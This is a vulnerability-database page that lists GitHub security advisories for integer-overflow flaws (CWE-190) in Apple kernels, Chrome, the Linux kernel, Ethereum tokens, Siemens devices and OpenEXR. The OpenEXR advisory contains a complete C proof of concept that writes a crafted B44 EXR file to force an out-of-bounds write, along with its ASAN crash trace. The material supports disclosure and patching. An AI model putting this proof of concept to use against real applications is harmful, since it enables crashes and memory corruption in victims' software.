CWE-190
AllowedInteger Overflow or Wraparound
Abstraction: Base · Status: Stable
The product performs a calculation that can produce an integer overflow or wraparound when the logic assumes that the resulting value will always be larger than the original value. This occurs when an integer value is incremented to a value that is too large to store in the associated representation. When this occurs, the value may become a very small or negative number.
3899 vulnerabilities reference this CWE, most recent first.
GHSA-H6QW-35GQ-32R3
Vulnerability from github – Published: 2022-05-13 01:20 – Updated: 2022-05-13 01:20An issue was discovered in certain Apple products. iOS before 11.4 is affected. macOS before 10.13.5 is affected. tvOS before 11.4 is affected. watchOS before 4.3.1 is affected. The issue involves pktmnglr_ipfilter_input in com.apple.packet-mangler in the "Kernel" component. It allows attackers to execute arbitrary code in a privileged context or cause a denial of service (integer overflow and stack-based buffer overflow) via a crafted app.
{
"affected": [],
"aliases": [
"CVE-2018-4249"
],
"database_specific": {
"cwe_ids": [
"CWE-190",
"CWE-787"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-06-08T18:29:00Z",
"severity": "HIGH"
},
"details": "An issue was discovered in certain Apple products. iOS before 11.4 is affected. macOS before 10.13.5 is affected. tvOS before 11.4 is affected. watchOS before 4.3.1 is affected. The issue involves pktmnglr_ipfilter_input in com.apple.packet-mangler in the \"Kernel\" component. It allows attackers to execute arbitrary code in a privileged context or cause a denial of service (integer overflow and stack-based buffer overflow) via a crafted app.",
"id": "GHSA-h6qw-35gq-32r3",
"modified": "2022-05-13T01:20:15Z",
"published": "2022-05-13T01:20:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-4249"
},
{
"type": "WEB",
"url": "https://lgtm.com/blog/apple_xnu_packet_mangler_CVE-2017-13904"
},
{
"type": "WEB",
"url": "https://support.apple.com/HT208848"
},
{
"type": "WEB",
"url": "https://support.apple.com/HT208849"
},
{
"type": "WEB",
"url": "https://support.apple.com/HT208850"
},
{
"type": "WEB",
"url": "https://support.apple.com/HT208851"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/172828/Apple-packet-mangler-Remote-Code-Execution.html"
},
{
"type": "WEB",
"url": "http://www.securitytracker.com/id/1041027"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-H737-8F7X-38JH
Vulnerability from github – Published: 2022-05-24 19:05 – Updated: 2022-05-24 19:05Apache Nuttx Versions prior to 10.1.0 are vulnerable to integer wrap-around in functions malloc, realloc and memalign. This improper memory assignment can lead to arbitrary memory allocation, resulting in unexpected behavior such as a crash or a remote code injection/execution.
{
"affected": [],
"aliases": [
"CVE-2021-26461"
],
"database_specific": {
"cwe_ids": [
"CWE-190"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-06-21T17:15:00Z",
"severity": "CRITICAL"
},
"details": "Apache Nuttx Versions prior to 10.1.0 are vulnerable to integer wrap-around in functions malloc, realloc and memalign. This improper memory assignment can lead to arbitrary memory allocation, resulting in unexpected behavior such as a crash or a remote code injection/execution. ",
"id": "GHSA-h737-8f7x-38jh",
"modified": "2022-05-24T19:05:42Z",
"published": "2022-05-24T19:05:42Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-26461"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r806fccf8b003ae812d807c6c7d97950d44ed29b2713418cbe3f2bddd%40%3Cdev.nuttx.apache.org%3E"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-H762-RHV3-H25V
Vulnerability from github – Published: 2026-04-03 21:47 – Updated: 2026-04-03 21:47Summary
The B44/B44A decoder in OpenEXR reconstructs row pointers into a scratch buffer using int. When the channel width (nx) is large enough, the product y * nx overflows int, causing the row pointer to wrap before the start of the scratch buffer. Subsequent memcpy() calls then write decoded pixel blocks to an invalid address, producing an active out-of-bounds write.
Root cause
- Variable declarations (internal_b44.c:535)
int nx, ny;
nx and ny are declared as plain int. They are assigned from curc->width and curc->height which are int32_t.
- Scratch buffer allocation (internal_b44:543)
nBytes = (uint64_t) (ny) * (uint64_t) (nx) *
(uint64_t) (curc->bytes_per_element);
The allocation path correctly promotes to uint64_t before multiplying. The scratch buffer is always large enough to hold the full channel.
- Row pointer reconstruction (internal_b44:560)
row0 = (uint16_t*) scratch;
row0 += y * nx;
row1 = row0 + nx;
row2 = row1 + nx;
row3 = row2 + nx;
y and nx are both int. The product y * nx is computed in int. If this product exceeds INT_MAX (2,147,483,647), the result is signed integer overflow
- Out of Band write (internal_b44:592)
memcpy (row0, &s[0], n);
memcpy (row1, &s[4], n);
memcpy (row2, &s[8], n);
memcpy (row3, &s[12], n);
These four writes copy decoded B44 pixel blocks into row0–row3, which now point to memory before the scratch buffer. The same pattern is present in the encoder path (ht_apply_impl), lines 431–432, where row0–row3 are read rather than written, producing an out-of-bounds read.
PoC
The PoC generates a valid B44 scanline EXR file (268435456 × 9, single HALF channel) and immediately decodes it. During decompression, uncompress_b44_impl() computes row0 += y * nx, with y=8 and nx=268435456, the product exceeds INT_MAX, triggering a signed integer overflow that displaces row0 before the scratch buffer. The subsequent memcpy() writes to this invalid address, causing the crash. The generated file /tmp/poc_b44.exr can be replayed independently on any OpenEXR installation.
#include <openexr.h>
#include <inttypes.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define CHECK(call)
do {
exr_result_t _rv = (call);
if (_rv != EXR_ERR_SUCCESS) {
fprintf(stderr, "%s failed (%d)\n", #call, (int)_rv);
goto fail;
}
} while (0)
static void fill_blocks(uint8_t* out, uint64_t n) {
for (uint64_t i = 0; i < n; i++, out += 3) {
out[0] = 0x00; out[1] = 0x00; out[2] = (13u << 2);
}
}
int main(void) {
const int64_t W = 268435456;
const int64_t H = 9;
const char* path = "/tmp/poc_b44.exr";
const uint64_t blocks = (uint64_t)(W / 4) * 2 + 1;
const uint64_t psz = blocks * 3;
uint8_t* packed = (uint8_t*) malloc(psz);
exr_context_t ctxt = NULL;
exr_context_initializer_t cinit = EXR_DEFAULT_CONTEXT_INITIALIZER;
int part = -1;
exr_chunk_info_t cinfo;
exr_decode_pipeline_t dec = EXR_DECODE_PIPELINE_INITIALIZER;
uint16_t dummy = 0;
int ok = 0;
if (!packed) { fprintf(stderr, "malloc failed\n"); return 1; }
fill_blocks(packed, blocks);
CHECK(exr_start_write(&ctxt, path, EXR_WRITE_FILE_DIRECTLY, &cinit));
CHECK(exr_add_part(ctxt, "scan", EXR_STORAGE_SCANLINE, &part));
CHECK(exr_initialize_required_attr_simple(
ctxt, part, (int32_t)W, (int32_t)H, EXR_COMPRESSION_B44));
CHECK(exr_add_channel(ctxt, part, "Y", EXR_PIXEL_HALF,
EXR_PERCEPTUALLY_LOGARITHMIC, 1, 1));
CHECK(exr_write_header(ctxt));
CHECK(exr_write_scanline_chunk(ctxt, part, 0, packed, psz));
exr_finish(&ctxt); ctxt = NULL;
fprintf(stderr, "[*] wrote %s W=%"PRId64" H=%"PRId64 " packed=%"PRIu64" bytes\n", path, W, H, psz);
CHECK(exr_start_read(&ctxt, path, &cinit));
CHECK(exr_read_scanline_chunk_info(ctxt, 0, 0, &cinfo));
CHECK(exr_decoding_initialize(ctxt, 0, &cinfo, &dec));
dec.channels[0].decode_to_ptr = (uint8_t*)&dummy;
dec.channels[0].user_pixel_stride = 2;
dec.channels[0].user_line_stride = dec.channels[0].width * 2;
dec.channels[0].user_bytes_per_element = 2;
dec.channels[0].user_data_type = dec.channels[0].data_type;
CHECK(exr_decoding_choose_default_routines(ctxt, 0, &dec));
dec.unpack_and_convert_fn = NULL;
fprintf(stderr, "[*] calling exr_decoding_run()h\n");
fflush(stderr);
CHECK(exr_decoding_run(ctxt, 0, &dec));
ok = 1;
fail:
if (ctxt) { exr_decoding_destroy(ctxt, &dec); exr_finish(&ctxt); }
free(packed);
return ok ? 0 : 1;
}
ASAN Trace
openexr/src/lib/OpenEXRCore/internal_b44.c:561:23: runtime error:
signed integer overflow: 8 * 268435456 cannot be represented in type 'int'
#0 in uncompress_b44_impl internal_b44.c:561
#1 in internal_exr_undo_b44 internal_b44.c:706
#2 in decompress_data compression.c:444
#3 in exr_uncompress_chunk compression.c:541
#4 in exr_decoding_run decoding.c:580
#5 in main poc.c:83
=================================================================
==PID==ERROR: AddressSanitizer: SEGV on unknown address 0x7fe65cfbc800
==PID==The signal is caused by a WRITE memory access.
#0 in memcpy (libc)
#1 in uncompress_b44_impl internal_b44.c:599
#2 in internal_exr_undo_b44 internal_b44.c:706
#3 in decompress_data compression.c:444
#4 in exr_uncompress_chunk compression.c:541
#5 in exr_decoding_run decoding.c:580
#6 in main poc.c:83
SUMMARY: AddressSanitizer: SEGV — WRITE via memcpy in uncompress_b44_impl internal_b44.c:599
Impact
A crafted B44 or B44A EXR file can cause an out-of-bounds write in any application that decodes it via exr_decoding_run(). Consequences range from immediate crash (most likely) to corruption of adjacent heap allocations (layout-dependent).
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.4.7"
},
"package": {
"ecosystem": "PyPI",
"name": "openexr"
},
"ranges": [
{
"events": [
{
"introduced": "3.4.0"
},
{
"fixed": "3.4.8"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "openexr"
},
"ranges": [
{
"events": [
{
"introduced": "3.3.0"
},
{
"last_affected": "3.3.8"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "openexr"
},
"ranges": [
{
"events": [
{
"introduced": "3.2.0"
},
{
"last_affected": "3.2.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-34544"
],
"database_specific": {
"cwe_ids": [
"CWE-190",
"CWE-787"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-03T21:47:07Z",
"nvd_published_at": "2026-04-01T21:17:01Z",
"severity": "HIGH"
},
"details": "### Summary\nThe B44/B44A decoder in OpenEXR reconstructs row pointers into a scratch buffer using int. When the channel width (nx) is large enough, the product y * nx overflows int, causing the row pointer to wrap before the start of the scratch buffer. Subsequent memcpy() calls then write decoded pixel blocks to an invalid address, producing an active out-of-bounds write.\n\n### Root cause \n* Variable declarations (internal_b44.c:535)\n```c\nint nx, ny;\n```\n`nx` and `ny` are declared as plain int. They are assigned from `curc-\u003ewidth` and `curc-\u003eheight` which are int32_t.\n\n* Scratch buffer allocation (internal_b44:543)\n```c\nnBytes = (uint64_t) (ny) * (uint64_t) (nx) *\n (uint64_t) (curc-\u003ebytes_per_element);\n```\nThe allocation path correctly promotes to uint64_t before multiplying.\nThe scratch buffer is always large enough to hold the full channel.\n\n* Row pointer reconstruction (internal_b44:560)\n```c\nrow0 = (uint16_t*) scratch;\nrow0 += y * nx; \nrow1 = row0 + nx;\nrow2 = row1 + nx;\nrow3 = row2 + nx;\n```\n`y` and `nx` are both int. The product `y * nx` is computed in int. If this product exceeds INT_MAX (2,147,483,647), the result is signed integer overflow\n\n* Out of Band write (internal_b44:592)\n```c\nmemcpy (row0, \u0026s[0], n);\nmemcpy (row1, \u0026s[4], n);\nmemcpy (row2, \u0026s[8], n);\nmemcpy (row3, \u0026s[12], n);\n```\nThese four writes copy decoded B44 pixel blocks into row0\u2013row3, which now point to memory before the scratch buffer. \nThe same pattern is present in the encoder path (ht_apply_impl), lines 431\u2013432, where row0\u2013row3 are read rather than written, producing an out-of-bounds read.\n\n### PoC\nThe PoC generates a valid B44 scanline EXR file (268435456 \u00d7 9, single HALF channel) and immediately decodes it. During decompression, uncompress_b44_impl() computes `row0 += y * nx`, with y=8 and nx=268435456, the product exceeds INT_MAX, triggering a signed integer overflow that displaces row0 before the scratch buffer. The subsequent memcpy() writes to this invalid address, causing the crash. The generated file /tmp/poc_b44.exr can be replayed independently on any OpenEXR installation.\n```poc.cpp\n#include \u003copenexr.h\u003e\n#include \u003cinttypes.h\u003e\n#include \u003cstdint.h\u003e\n#include \u003cstdio.h\u003e\n#include \u003cstdlib.h\u003e\n#include \u003cstring.h\u003e\n\n#define CHECK(call) \n do { \n exr_result_t _rv = (call); \n if (_rv != EXR_ERR_SUCCESS) { \n fprintf(stderr, \"%s failed (%d)\\n\", #call, (int)_rv); \n goto fail; \n } \n } while (0)\n\nstatic void fill_blocks(uint8_t* out, uint64_t n) {\n for (uint64_t i = 0; i \u003c n; i++, out += 3) {\n out[0] = 0x00; out[1] = 0x00; out[2] = (13u \u003c\u003c 2);\n }\n}\n\nint main(void) {\n const int64_t W = 268435456;\n const int64_t H = 9;\n const char* path = \"/tmp/poc_b44.exr\";\n\n const uint64_t blocks = (uint64_t)(W / 4) * 2 + 1;\n const uint64_t psz = blocks * 3;\n\n uint8_t* packed = (uint8_t*) malloc(psz);\n exr_context_t ctxt = NULL;\n exr_context_initializer_t cinit = EXR_DEFAULT_CONTEXT_INITIALIZER;\n int part = -1;\n exr_chunk_info_t cinfo;\n exr_decode_pipeline_t dec = EXR_DECODE_PIPELINE_INITIALIZER;\n uint16_t dummy = 0;\n int ok = 0;\n\n if (!packed) { fprintf(stderr, \"malloc failed\\n\"); return 1; }\n fill_blocks(packed, blocks);\n\n CHECK(exr_start_write(\u0026ctxt, path, EXR_WRITE_FILE_DIRECTLY, \u0026cinit));\n CHECK(exr_add_part(ctxt, \"scan\", EXR_STORAGE_SCANLINE, \u0026part));\n CHECK(exr_initialize_required_attr_simple(\n ctxt, part, (int32_t)W, (int32_t)H, EXR_COMPRESSION_B44));\n CHECK(exr_add_channel(ctxt, part, \"Y\", EXR_PIXEL_HALF,\n EXR_PERCEPTUALLY_LOGARITHMIC, 1, 1));\n CHECK(exr_write_header(ctxt));\n CHECK(exr_write_scanline_chunk(ctxt, part, 0, packed, psz));\n exr_finish(\u0026ctxt); ctxt = NULL;\n\n fprintf(stderr, \"[*] wrote %s W=%\"PRId64\" H=%\"PRId64 \" packed=%\"PRIu64\" bytes\\n\", path, W, H, psz);\n\n\n CHECK(exr_start_read(\u0026ctxt, path, \u0026cinit));\n CHECK(exr_read_scanline_chunk_info(ctxt, 0, 0, \u0026cinfo));\n CHECK(exr_decoding_initialize(ctxt, 0, \u0026cinfo, \u0026dec));\n\n dec.channels[0].decode_to_ptr = (uint8_t*)\u0026dummy;\n dec.channels[0].user_pixel_stride = 2;\n dec.channels[0].user_line_stride = dec.channels[0].width * 2;\n dec.channels[0].user_bytes_per_element = 2;\n dec.channels[0].user_data_type = dec.channels[0].data_type;\n\n CHECK(exr_decoding_choose_default_routines(ctxt, 0, \u0026dec));\n dec.unpack_and_convert_fn = NULL; \n\n fprintf(stderr, \"[*] calling exr_decoding_run()h\\n\");\n fflush(stderr);\n\n\n CHECK(exr_decoding_run(ctxt, 0, \u0026dec));\n ok = 1;\n\nfail:\n if (ctxt) { exr_decoding_destroy(ctxt, \u0026dec); exr_finish(\u0026ctxt); }\n free(packed);\n return ok ? 0 : 1;\n}\n```\n### ASAN Trace\n```\nopenexr/src/lib/OpenEXRCore/internal_b44.c:561:23: runtime error:\n signed integer overflow: 8 * 268435456 cannot be represented in type \u0027int\u0027\n #0 in uncompress_b44_impl internal_b44.c:561\n #1 in internal_exr_undo_b44 internal_b44.c:706\n #2 in decompress_data compression.c:444\n #3 in exr_uncompress_chunk compression.c:541\n #4 in exr_decoding_run decoding.c:580\n #5 in main poc.c:83\n\n=================================================================\n==PID==ERROR: AddressSanitizer: SEGV on unknown address 0x7fe65cfbc800\n==PID==The signal is caused by a WRITE memory access.\n #0 in memcpy (libc)\n #1 in uncompress_b44_impl internal_b44.c:599\n #2 in internal_exr_undo_b44 internal_b44.c:706\n #3 in decompress_data compression.c:444\n #4 in exr_uncompress_chunk compression.c:541\n #5 in exr_decoding_run decoding.c:580\n #6 in main poc.c:83\n\nSUMMARY: AddressSanitizer: SEGV \u2014 WRITE via memcpy in uncompress_b44_impl internal_b44.c:599\n```\n\n### Impact\nA crafted B44 or B44A EXR file can cause an out-of-bounds write in any application that decodes it via exr_decoding_run(). \nConsequences range from immediate crash (most likely) to corruption of adjacent heap allocations (layout-dependent).",
"id": "GHSA-h762-rhv3-h25v",
"modified": "2026-04-03T21:47:07Z",
"published": "2026-04-03T21:47:07Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/AcademySoftwareFoundation/openexr/security/advisories/GHSA-h762-rhv3-h25v"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34544"
},
{
"type": "WEB",
"url": "https://github.com/AcademySoftwareFoundation/openexr/commit/35e7aa35e22c1975606be86e859f31cc1fc598ee"
},
{
"type": "PACKAGE",
"url": "https://github.com/AcademySoftwareFoundation/openexr"
},
{
"type": "WEB",
"url": "https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.4.8"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "OpenEXR: integer overflow to OOB write in uncompress_b44_impl()"
}
GHSA-H764-9P8W-QWWF
Vulnerability from github – Published: 2022-05-13 01:26 – Updated: 2022-05-13 01:26Integer overflow in Google Chrome before 13.0.782.215 on 32-bit platforms allows remote attackers to cause a denial of service or possibly have unspecified other impact via vectors involving uniform arrays.
{
"affected": [],
"aliases": [
"CVE-2011-2829"
],
"database_specific": {
"cwe_ids": [
"CWE-190"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2011-08-29T15:55:00Z",
"severity": "HIGH"
},
"details": "Integer overflow in Google Chrome before 13.0.782.215 on 32-bit platforms allows remote attackers to cause a denial of service or possibly have unspecified other impact via vectors involving uniform arrays.",
"id": "GHSA-h764-9p8w-qwwf",
"modified": "2022-05-13T01:26:32Z",
"published": "2022-05-13T01:26:32Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2011-2829"
},
{
"type": "WEB",
"url": "https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A14516"
},
{
"type": "WEB",
"url": "http://code.google.com/p/chromium/issues/detail?id=91598"
},
{
"type": "WEB",
"url": "http://googlechromereleases.blogspot.com/2011/08/stable-channel-update_22.html"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-H77W-MH3H-PV66
Vulnerability from github – Published: 2022-05-14 03:02 – Updated: 2022-05-14 03:02The mintToken function of a smart contract implementation for ESTSToken, an Ethereum token, has an integer overflow that allows the owner of the contract to set the balance of an arbitrary user to any value.
{
"affected": [],
"aliases": [
"CVE-2018-13654"
],
"database_specific": {
"cwe_ids": [
"CWE-190"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-07-09T06:29:00Z",
"severity": "HIGH"
},
"details": "The mintToken function of a smart contract implementation for ESTSToken, an Ethereum token, has an integer overflow that allows the owner of the contract to set the balance of an arbitrary user to any value.",
"id": "GHSA-h77w-mh3h-pv66",
"modified": "2022-05-14T03:02:40Z",
"published": "2022-05-14T03:02:40Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-13654"
},
{
"type": "WEB",
"url": "https://github.com/BlockChainsSecurity/EtherTokens/blob/master/GEMCHAIN/mint%20integer%20overflow.md"
},
{
"type": "WEB",
"url": "https://github.com/BlockChainsSecurity/EtherTokens/tree/master/ESTSToken"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-H7C3-2M9Q-V5PC
Vulnerability from github – Published: 2026-07-02 00:31 – Updated: 2026-07-02 03:31Integer overflow in ANGLE in Google Chrome on Windows prior to 150.0.7871.46 allowed a remote attacker who had compromised the renderer process to obtain potentially sensitive information from process memory via a crafted HTML page. (Chromium security severity: Medium)
{
"affected": [],
"aliases": [
"CVE-2026-14391"
],
"database_specific": {
"cwe_ids": [
"CWE-190",
"CWE-472"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-01T23:16:47Z",
"severity": "MODERATE"
},
"details": "Integer overflow in ANGLE in Google Chrome on Windows prior to 150.0.7871.46 allowed a remote attacker who had compromised the renderer process to obtain potentially sensitive information from process memory via a crafted HTML page. (Chromium security severity: Medium)",
"id": "GHSA-h7c3-2m9q-v5pc",
"modified": "2026-07-02T03:31:26Z",
"published": "2026-07-02T00:31:41Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-14391"
},
{
"type": "WEB",
"url": "https://chromereleases.googleblog.com/2026/06/stable-channel-update-for-desktop_0175352312.html"
},
{
"type": "WEB",
"url": "https://issues.chromium.org/issues/506212452"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-H7GM-JHF8-GRRP
Vulnerability from github – Published: 2026-06-05 00:31 – Updated: 2026-06-05 03:31Integer overflow in Dawn in Google Chrome prior to 149.0.7827.53 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)
{
"affected": [],
"aliases": [
"CVE-2026-10921"
],
"database_specific": {
"cwe_ids": [
"CWE-190",
"CWE-472"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-04T23:16:54Z",
"severity": "HIGH"
},
"details": "Integer overflow in Dawn in Google Chrome prior to 149.0.7827.53 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)",
"id": "GHSA-h7gm-jhf8-grrp",
"modified": "2026-06-05T03:31:31Z",
"published": "2026-06-05T00:31:38Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-10921"
},
{
"type": "WEB",
"url": "https://chromereleases.googleblog.com/2026/06/stable-channel-update-for-desktop.html"
},
{
"type": "WEB",
"url": "https://issues.chromium.org/issues/499159695"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-H7HX-58M7-W49M
Vulnerability from github – Published: 2022-05-14 01:07 – Updated: 2022-05-14 01:07The alarm_timer_nsleep function in kernel/time/alarmtimer.c in the Linux kernel through 4.17.3 has an integer overflow via a large relative timeout because ktime_add_safe is not used.
{
"affected": [],
"aliases": [
"CVE-2018-13053"
],
"database_specific": {
"cwe_ids": [
"CWE-190"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-07-02T12:29:00Z",
"severity": "LOW"
},
"details": "The alarm_timer_nsleep function in kernel/time/alarmtimer.c in the Linux kernel through 4.17.3 has an integer overflow via a large relative timeout because ktime_add_safe is not used.",
"id": "GHSA-h7hx-58m7-w49m",
"modified": "2022-05-14T01:07:26Z",
"published": "2022-05-14T01:07:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-13053"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2019:0831"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2019:2029"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2019:2043"
},
{
"type": "WEB",
"url": "https://bugzilla.kernel.org/show_bug.cgi?id=200303"
},
{
"type": "WEB",
"url": "https://git.kernel.org/pub/scm/linux/kernel/git/tip/tip.git/commit/?id=5f936e19cc0ef97dbe3a56e9498922ad5ba1edef"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2019/03/msg00017.html"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2019/03/msg00034.html"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2019/04/msg00004.html"
},
{
"type": "WEB",
"url": "https://usn.ubuntu.com/3821-1"
},
{
"type": "WEB",
"url": "https://usn.ubuntu.com/3821-2"
},
{
"type": "WEB",
"url": "https://usn.ubuntu.com/4094-1"
},
{
"type": "WEB",
"url": "https://usn.ubuntu.com/4118-1"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/104671"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-H7PX-Q5VF-MC87
Vulnerability from github – Published: 2022-05-14 03:03 – Updated: 2022-05-14 03:03The mintToken function of a smart contract implementation for TripPay, an Ethereum token, has an integer overflow that allows the owner of the contract to set the balance of an arbitrary user to any value.
{
"affected": [],
"aliases": [
"CVE-2018-13573"
],
"database_specific": {
"cwe_ids": [
"CWE-190"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-07-09T06:29:00Z",
"severity": "HIGH"
},
"details": "The mintToken function of a smart contract implementation for TripPay, an Ethereum token, has an integer overflow that allows the owner of the contract to set the balance of an arbitrary user to any value.",
"id": "GHSA-h7px-q5vf-mc87",
"modified": "2022-05-14T03:03:05Z",
"published": "2022-05-14T03:03:05Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-13573"
},
{
"type": "WEB",
"url": "https://github.com/BlockChainsSecurity/EtherTokens/blob/master/GEMCHAIN/mint%20integer%20overflow.md"
},
{
"type": "WEB",
"url": "https://github.com/BlockChainsSecurity/EtherTokens/tree/master/TripPay"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-H7V8-MPHJ-JP2G
Vulnerability from github – Published: 2022-03-09 00:00 – Updated: 2025-08-12 12:30A vulnerability has been identified in RUGGEDCOM ROS M2100 (All versions < V5.6.0), RUGGEDCOM ROS RMC8388 devices (All versions < V5.6.0), RUGGEDCOM ROS RS416v2 (All versions < V5.6.0), RUGGEDCOM ROS RS900G (All versions < V5.6.0), RUGGEDCOM ROS RS900G (32M) (All versions < V5.6.0), RUGGEDCOM ROS RSG2100 (32M) V5.X (All versions < V5.6.0), RUGGEDCOM ROS RSG2100P (All versions < V5.6.0), RUGGEDCOM ROS RSG2100P (32M) V5.X (All versions < V5.6.0), RUGGEDCOM ROS RSG2288 V5.X (All versions < V5.6.0), RUGGEDCOM ROS RSG2300 V5.X (All versions < V5.6.0), RUGGEDCOM ROS RSG2300P V5.X (All versions < V5.6.0), RUGGEDCOM ROS RSG2488 V5.X (All versions < V5.6.0), RUGGEDCOM ROS RSG900 V5.X (All versions < V5.6.0), RUGGEDCOM ROS RSG920P V5.X (All versions < V5.6.0), RUGGEDCOM ROS RSL910 (All versions < V5.6.0), RUGGEDCOM ROS RST2228 (All versions < V5.6.0), RUGGEDCOM ROS RST916C (All versions < V5.6.0), RUGGEDCOM ROS RST916P (All versions < V5.6.0). Within a third-party component, the process to allocate partition size fails to check memory boundaries. Therefore, if a large amount is requested by an attacker, due to an integer-wrap around, it could result in a small size being allocated instead.
{
"affected": [],
"aliases": [
"CVE-2021-42019"
],
"database_specific": {
"cwe_ids": [
"CWE-190"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-03-08T12:15:00Z",
"severity": "CRITICAL"
},
"details": "A vulnerability has been identified in RUGGEDCOM ROS M2100 (All versions \u003c V5.6.0), RUGGEDCOM ROS RMC8388 devices (All versions \u003c V5.6.0), RUGGEDCOM ROS RS416v2 (All versions \u003c V5.6.0), RUGGEDCOM ROS RS900G (All versions \u003c V5.6.0), RUGGEDCOM ROS RS900G (32M) (All versions \u003c V5.6.0), RUGGEDCOM ROS RSG2100 (32M) V5.X (All versions \u003c V5.6.0), RUGGEDCOM ROS RSG2100P (All versions \u003c V5.6.0), RUGGEDCOM ROS RSG2100P (32M) V5.X (All versions \u003c V5.6.0), RUGGEDCOM ROS RSG2288 V5.X (All versions \u003c V5.6.0), RUGGEDCOM ROS RSG2300 V5.X (All versions \u003c V5.6.0), RUGGEDCOM ROS RSG2300P V5.X (All versions \u003c V5.6.0), RUGGEDCOM ROS RSG2488 V5.X (All versions \u003c V5.6.0), RUGGEDCOM ROS RSG900 V5.X (All versions \u003c V5.6.0), RUGGEDCOM ROS RSG920P V5.X (All versions \u003c V5.6.0), RUGGEDCOM ROS RSL910 (All versions \u003c V5.6.0), RUGGEDCOM ROS RST2228 (All versions \u003c V5.6.0), RUGGEDCOM ROS RST916C (All versions \u003c V5.6.0), RUGGEDCOM ROS RST916P (All versions \u003c V5.6.0). Within a third-party component, the process to allocate partition size fails to check memory boundaries. Therefore, if a large amount is requested by an attacker, due to an integer-wrap around, it could result in a small size being allocated instead.",
"id": "GHSA-h7v8-mphj-jp2g",
"modified": "2025-08-12T12:30:32Z",
"published": "2022-03-09T00:00:47Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-42019"
},
{
"type": "WEB",
"url": "https://cert-portal.siemens.com/productcert/html/ssa-256353.html"
},
{
"type": "WEB",
"url": "https://cert-portal.siemens.com/productcert/pdf/ssa-256353.pdf"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation
Ensure that all protocols are strictly defined, such that all out-of-bounds behavior can be identified simply, and require strict conformance to the protocol.
